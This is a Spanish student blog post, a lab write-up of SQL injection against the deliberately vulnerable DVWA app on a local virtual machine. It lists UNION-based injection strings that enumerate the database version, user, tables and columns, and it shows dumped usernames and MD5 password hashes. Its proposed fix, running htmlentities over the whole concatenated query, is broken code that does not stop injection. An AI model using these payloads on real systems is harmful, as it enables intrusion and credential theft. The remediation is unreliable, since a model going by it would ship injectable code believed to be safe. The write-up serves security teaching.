martes, 20 de octubre de 2015

Unidad 2: Tarea 2 Sql Injection

TAREA 2

S.O. Windows 7 Pro.

SQL INJECTION (Accediendo a la información).

Primeramente instalamos VirtualBox y añadimos la máquina linux de DVWA (Damn Vulnerable Web App) que nos permite simular una web preparada (a diferentes grados de dificultad) con múltiples vulnerabilidades propias de la Web.

Tras arrancar la máquina y tomar nota de la IP ofrecida que hace de servidor de la página web, nos conectamos desde nuestro pc físico.

Fig. 1 Máquina dvwa arrancando, nos ofrece ip 192.168.0.160

Conectando a 192.168.0.160/login.php e introducir las credenciales "admin"@"password", cambiamos la dificultad a LOW, y vamos a probar la inyección SQL.

Fig. Vista de lo que nos devuelve el submit al enviar un "1" (Id de usuario).

Por la informacion devuelta, First name y Surname, y por que estamos siguiendo esta guía de Computer Security Student, la sentencia Sql que se ejecuta para devolver esta info tendrá que ser tal que 

  • $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Seleccionamos primer nombre y apellido de la tabla users donde el id de usuario sea igual al que hemos introducido en la caja de texto (variable $id).

Nos devuelve first name : admin y surname : admin.

Ejecutemos ahora si la primera inyección, mediante la siguiente cadena:
  • %' or '0'='0
Lo que entiendo que está ocurriendo es que la sentencia Select original se ha transformado de la siguiente manera:

  • $getid = "SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0'";
Al sustituir la variable $id por la cadena que expresamente se ha introducido (muy importante controlar el tema de las comillas), estamos diciendo que devuelva los valores de los registros que sean cierto cuando el id de usuario sea "%" (donde pone %, poner cualquier cosa extraña que no se va a encontrar ningun id con ese valor) o cuando 0 = 0 (cosa que es cierta siempre)

Basicamente devolver el registró cuando una de las dos partes que hemos puesto mediante el OR, sea cierta, y como 0 siempre es igual a 0, la segunda parte se dará en toooodas las consultas, por lo que entiendo que devolverá todos los registros existentes en la tabla, probemos:

Fig 3.  La caja de texto está vacía porque se ha enviado su valor, pero el resultado es el esperado.

A partir de aquí pondré una tabla con las cadenas que hemos ido introduciendo en orden y los valores obtenidos:

%' or 0=0 union select null, version() #
Devuelve todos los usuarios y además devuelve la versión de la base de datos Mysql en el campo de “surname”.
First name:
Surname: 5.5.44-0+deb8u1
%' or 0=0 union select null, user() #
Devuelve todos los usuarios y además devuelve el usuario que está ejecutando las sentencias en la base de datos.
First name:
Surname: dvwa@localhost
%' or 0=0 union select null, database() #
… además devuelve el nombre de la base de datos sobre la que estamos trabajando.
First name:
Surname: dvwa
%' and 1=0 union select null, table_name from information_schema.tables #
Esta sentencia devuelve el nombre de cada una de las tablas existentes, lo hace en el campo surname, pongo unas pocas de ejemplo de las obtenidas:
Surname: CHARACTER_SETS
Surname: COLLATIONS
Surname: INNODB_LOCKS
Surname: guestbook
Surname: users
……
En total se han devuelto  41 tablas!!
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
Devuelve todas las tablas cuyo nombre empieza por “user” en este caso 2.
First name:
Surname: USER_PRIVILEGES
First name:
Surname: users
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
Devuelve los campos existentes en la table users:
user_id, first_name, last_name, user, password, avatar
%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
En la anterior consulta se obtenian los campos, ahora se obtienen los valores de los registros existentes:

Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

..en total 5 registros, los otros 3 nombres son Hack, Bob y Pablo.

Averiguando con sucesivas consultas, las tablas existentes, campos existentes, podemos llegar rapidamente a ver el contenido de la tabla que nos interesa, en este caso las credenciales de acceso. Supongo que ese password está encriptado, pero eso es otro tema...

Que se pueda realizar un SQL Injection es (supongo que influirán otras cosas) por que no se tratan correctamente las cadenas introducidas en la caja de texto, el servidor, la recibe, ejecuta la sentencia Sql sin revisar que contiene la variable y ejecuta la misma.

¿Como solucionar éste problema?


$consulta = "SELECT * FROM clientes WHERE dni='".$valordni."'";
$query = htmlentities($consulta);
mysql_query($query);

htmlentities es una función que de alguna manera analiza la variable que se le pasa y la devuelve la misma cadena pero sustituyendo los símbolos como barras, comillas, acentos, por su representación html. Por ejemplo el símbolo "<" se traduce a "&lt", de forma que la sentencia sql nunca podrá entender una cadena malintencionada y dará algún tipo de error, pero conseguiremos evitar que la inyección tenga éxito.



Mas o menos por ahí van los tiros...

No hay comentarios:

Publicar un comentario